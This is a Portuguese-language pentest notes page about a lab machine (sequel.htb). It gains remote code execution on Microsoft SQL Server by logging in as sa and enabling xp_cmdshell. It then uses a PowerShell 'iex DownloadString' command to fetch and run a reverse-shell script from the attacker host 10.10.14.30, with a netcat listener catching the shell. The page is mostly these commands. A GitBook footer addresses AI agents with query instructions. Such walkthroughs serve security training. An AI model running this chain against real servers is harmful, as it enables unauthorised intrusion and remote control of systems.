> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/mssql-1433/mssql-exploitation-rce.md).
# MSSQL - Exploração de RCE
## Exploração de MSSQL (Microsoft SQL)
**Porta 1433 (MSSQL)**
A porta 1433 está aberta, indicando que um Microsoft SQL Server está escutando. Teste o acesso com os usuários recuperados durante a enumeração.
**Teste de conexão MSSQL**
Use `mssqlclient.py` para tentar se conectar:
```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```
**Resultado**: Apenas o `sa` usuário funciona.
```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```
### Reverse shell via MSSQL
**Ativar execução de comandos**
Para executar comandos do sistema, habilite `xp_cmdshell`:
```sql
enable_xp_cmdshell
```
Depois teste com um comando simples, como `ipconfig`:
```sql
xp_cmdshell ipconfig
```
**Preparando para escutar em nossa máquina**
Inicie um listener na porta 4444:
```bash
rlwrap nc -nvlp 4444
```
**Baixando um script PowerShell**
Prepare um script PowerShell chamado `PS.ps1` que inclua uma função de reverse shell:
{% embed url="" %}
No final do script, adicione a seguinte linha:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```
Hospede este script em um servidor web local:
```bash
python3 -m http.server 80
```
**Execução de reverse shell**
No servidor MSSQL, execute o seguinte comando para baixar e executar o script PowerShell:
```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.